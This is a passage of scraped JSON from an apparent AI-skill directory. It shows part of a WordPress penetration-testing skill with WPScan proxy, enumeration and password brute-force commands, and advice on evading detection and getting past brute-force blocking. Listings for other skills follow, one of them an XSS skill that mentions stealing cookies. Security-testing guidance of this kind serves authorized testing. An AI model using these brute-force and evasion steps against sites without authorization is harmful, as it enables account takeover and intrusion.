Proxy\n\n```bash\n# Use Tor proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy socks5:\u002F\u002F127.0.0.1:9050\n\n# HTTP proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080\n\n# Burp Suite proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080 --disable-tls-checks\n```\n\n#### HTTP Authentication\n\n```bash\n# Basic authentication\nwpscan --url http:\u002F\u002Ftarget.com --http-auth admin:password\n\n# Force SSL\u002FTLS\nwpscan --url https:\u002F\u002Ftarget.com --disable-tls-checks\n```\n\n## Quick Reference\n\n### WPScan Enumeration Flags\n\n| Flag | Description |\n|------|-------------|\n| `-e at` | All themes |\n| `-e vt` | Vulnerable themes |\n| `-e ap` | All plugins |\n| `-e vp` | Vulnerable plugins |\n| `-e u` | Users (1-10) |\n| `-e cb` | Config backups |\n| `-e dbe` | Database exports |\n\n### Common WordPress Paths\n\n| Path | Purpose |\n|------|---------|\n| `\u002Fwp-admin\u002F` | Admin dashboard |\n| `\u002Fwp-login.php` | Login page |\n| `\u002Fwp-content\u002Fuploads\u002F` | User uploads |\n| `\u002Fwp-includes\u002F` | Core files |\n| `\u002Fxmlrpc.php` | XML-RPC API |\n| `\u002Fwp-json\u002F` | REST API |\n\n### WPScan Command Examples\n\n| Purpose | Command |\n|---------|---------|\n| Basic scan | `wpscan --url http:\u002F\u002Ftarget.com` |\n| All enumeration | `wpscan --url http:\u002F\u002Ftarget.com -e at,ap,u` |\n| Password attack | `wpscan --url http:\u002F\u002Ftarget.com -U admin -P pass.txt` |\n| Aggressive | `wpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive` |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Obtain written authorization before testing\n- Stay within defined scope\n- Document all testing activities\n- Follow responsible disclosure\n\n### Technical Limitations\n- WAF may block scanning\n- Rate limiting may prevent brute-force\n- Some plugins may have false negatives\n- XML-RPC may be disabled\n\n### Detection Evasion\n- Use random user agents: `--random-user-agent`\n- Throttle requests: `--throttle 1000`\n- Use proxy rotation\n- Avoid aggressive modes on monitored sites\n\n## Troubleshooting\n\n### WPScan Shows No Vulnerabilities\n\n**Solutions:**\n1. Use API token for vulnerability database\n2. Try aggressive detection mode\n3. Check for WAF blocking scans\n4. Verify WordPress is actually installed\n\n### Brute-Force Blocked\n\n**Solutions:**\n1. Use XML-RPC method instead of wp-login\n2. Add throttling: `--throttle 500`\n3. Use different user agents\n4. Check for IP blocking\u002Ffail2ban\n\n### Cannot Access Admin Panel\n\n**Solutions:**\n1. Verify credentials are correct\n2. Check for two-factor authentication\n3. Look for IP whitelist restrictions\n4. Check for login URL changes (security plugins)\n",{"name":5,"metadata":43,"description":7},{"author":44,"version":45},"zebbern","1.1","main","483e87f6ad1460beac541f70200e988102e5c385","antigravity-awesome-skills-main\u002Fskills\u002Fwordpress-penetration-testing","https:\u002F\u002Fgithub.com\u002FAceryoung\u002Ffamilyproject","https:\u002F\u002Ffamilyproject-iota.vercel.app","https:\u002F\u002Fgithub.com\u002FAceryoung","2026-09-04 09:36:44",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add Aceryoung\u002Ffamilyproject --skill \"WordPress Penetration Testing\"",{"tool":59,"command":60},"bunx","bunx skills add Aceryoung\u002Ffamilyproject --skill \"WordPress Penetration Testing\"",{"tool":62,"command":63},"pnpm","pnpm dlx skills add Aceryoung\u002Ffamilyproject --skill \"WordPress Penetration Testing\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAceryoung\u002Ffamilyproject\u002Fblob\u002Fmain\u002Fantigravity-awesome-skills-main\u002Fskills\u002Fwordpress-penetration-testing\u002FSKILL.md",true,[],[68,97,124,144,158,183],{"skillNo":69,"name":70,"nameZh":6,"description":71,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":72,"categories":73,"keywords":77,"publishedAt":38},"01M6DZ9PNJVNQ1M7196KMPEHZC","zapier-make-patterns","No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity - these platforms have their own patterns, pitfalls, and breaking points.  This skill covers when to use which platform, how to build reliable automations, and when to graduate to code-based solutions. Key insight: Zapier optimizes for simplicity and integrations (7000+ apps), Make optimizes for power","https:\u002F\u002Fgithub.com\u002FAceryoung\u002Ffamilyproject\u002Fblob\u002Fmain\u002Fantigravity-awesome-skills-main\u002Fskills\u002Fzapier-make-patterns\u002FSKILL.md",[74],{"categoryNo":75,"categoryName":76,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[78,79,80,81,82,83,84,85,86,87,88,89,32,90,91,92,93,94,95,96],"zapier make patterns","patterns","workflow","integrations","how to","apps","platform","but","build","complexity","power","simplicity","business","automate","how","apache","code","automation","writing",{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":107,"publishedAt":38},"01M6DZ9K3385QP8QC2F3ZHZH1W","Cross-Site Scripting and HTML Injection Testing","This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.","https:\u002F\u002Fgithub.com\u002FAceryoung\u002Ffamilyproject\u002Fblob\u002Fmain\u002Fantigravity-awesome-skills-main\u002Fskills\u002Fxss-html-injection\u002FSKILL.md",[103,104],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":105,"categoryName":106,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[108,109,110,111,112,113,24,114,33,115,116,117,118,119,120,28,121,122,123,27],"html injection testing","injection","scripting","Cross Site Scripting and HTML Injection Testing","site","html","vectors","applications","xss","cookies","content","web","test","steal","client","via",{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":139,"publishedAt":38},"01M6DZ9B72D51Q21DTFD63TVEN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002FAceryoung\u002Ffamilyproject\u002Fblob\u002Fmain\u002Fantigravity-awesome-skills-main\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[130,131,134],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":132,"categoryName":133,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":135,"categoryName":136,"taxonomyType":137,"taxonomyTypeDesc":138},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[96,140,141,32,142,143],"writing skills","deployment","editing","work",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":152,"publishedAt":38},"01M6DZ98HBB74FXZS78BATF6P5","writing-plans","Use when you have a spec or requirements for a multi-step task, before touching code","https:\u002F\u002Fgithub.com\u002FAceryoung\u002Ffamilyproject\u002Fblob\u002Fmain\u002Fantigravity-awesome-skills-main\u002Fskills\u002Fwriting-plans\u002FSKILL.md",[150,151],{"categoryNo":132,"categoryName":133,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":135,"categoryName":136,"taxonomyType":137,"taxonomyTypeDesc":138},[153,96,154,155,156,32,94,157],"writing plans","plans","requirements","task","spec",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":165,"publishedAt":38},"01M6DZ94C3FCDXCTV795CTRP1V","workflow-automation","Workflow automation is the infrastructure that makes AI agents reliable. Without durable execution, a network hiccup during a 10-step payment flow means lost money and angry customers. With it, workflows resume exactly where they left off.  This skill covers the platforms (n8n, Temporal, Inngest) and patterns (sequential, parallel, orchestrator-worker) that turn brittle scripts into production-grade automation.  Key insight: The platforms make different tradeoffs. n8n optimizes for accessibility","https:\u002F\u002Fgithub.com\u002FAceryoung\u002Ffamilyproject\u002Fblob\u002Fmain\u002Fantigravity-awesome-skills-main\u002Fskills\u002Fworkflow-automation\u002FSKILL.md",[164],{"categoryNo":75,"categoryName":76,"taxonomyType":21,"taxonomyTypeDesc":22},[166,95,80,167,168,169,93,170,171,172,173,174,175,176,177,178,179,180,181,182],"Workflow Automation","Production","flow","network","workflows","accessibility","ai agents","execution","scripts","worker","payment","n8n","money","resume","orchestrator","parallel","inngest",{"skillNo":184,"name":185,"nameZh":6,"description":186,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":187,"categories":188,"keywords":189,"publishedAt":38},"01M6DZ8WYJA5FY3GRKEPCZ2BHY","Wireshark Network Traffic Analysis","This skill should be used when the user asks to \"analyze network traffic with Wireshark\", \"capture packets for troubleshooting\", \"filter PCAP files\", \"follow TCP\u002FUDP streams\", \"detect network anomalies\", \"investigate suspicious traffic\", or \"perform protocol analysis\". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark.","https:\u002F\u002Fgithub.com\u002FAceryoung\u002Ffamilyproject\u002Fblob\u002Fmain\u002Fantigravity-awesome-skills-main\u002Fskills\u002Fwireshark-analysis\u002FSKILL.md",[],[185,190,191,169,192,193,194,31,195,196,197,198,199,200,201,202],"analysis","Wireshark","filtering","filter","files","capture","troubleshooting","analyze","investigate","pcap","tcp","protocol","suspicious"]